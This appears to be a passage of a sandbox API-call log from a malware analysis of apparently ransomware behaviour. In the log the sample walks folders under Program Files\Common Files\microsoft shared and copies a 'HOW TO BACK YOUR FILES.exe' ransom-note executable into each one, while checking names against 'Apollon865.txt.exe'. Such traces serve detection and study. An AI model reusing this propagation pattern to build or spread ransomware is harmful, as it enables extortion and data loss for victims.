	[0055.967] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters") returned 89
	[0055.967] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters"
	[0055.967] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.967] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.972] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x396e5810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396e5810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.972] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.972] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.972] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts"
	[0055.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0055.972] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0055.972] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts") returned 82
	[0055.972] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts"
	[0055.972] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.972] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.977] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x396e5810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x396e5810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.977] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.977] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.977] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews"
	[0055.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0055.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0055.977] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews") returned 83
	[0055.977] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews"
	[0055.977] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.977] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3970b970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3970b970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.982] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters"
	[0055.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0055.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0055.982] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters") returned 90
	[0055.982] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters"
	[0055.982] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.982] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.987] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.987] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3970b970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3970b970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.987] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.987] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.987] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument"
	[0055.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0055.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0055.988] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument") returned 73
	[0055.988] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument"
	[0055.988] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.994] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39731ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39731ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.995] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.995] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.995] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument"
	[0055.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.995] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0055.995] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument") returned 125
	[0055.995] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument"
	[0055.995] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.995] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.001] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.001] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39731ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39731ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.002] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.002] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.002] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0"
	[0056.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0056.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0056.002] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0") returned 61
	[0056.002] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0"
	[0056.002] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.002] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.009] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39757c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39757c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.010] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.010] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86"
	[0056.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0056.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0056.010] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86") returned 65
	[0056.010] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86"
	[0056.010] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.010] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.016] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.016] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39757c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39757c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.016] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.016] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.016] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX"
	[0056.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591a40 | out: hHeap=0x580000) returned 1
	[0056.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0056.016] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned 56
	[0056.016] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX"
	[0056.017] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.017] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.033] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.033] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x39757c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39757c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.033] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.033] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.033] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC"
	[0056.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0056.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0056.033] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned 55
	[0056.033] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC"
	[0056.033] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.033] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.039] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.039] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x3977dd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3977dd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.039] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.039] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.039] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64"
	[0056.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0056.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0056.039] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64") returned 61
	[0056.039] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64"
	[0056.040] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.040] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.045] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.045] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x397a3ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x397a3ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
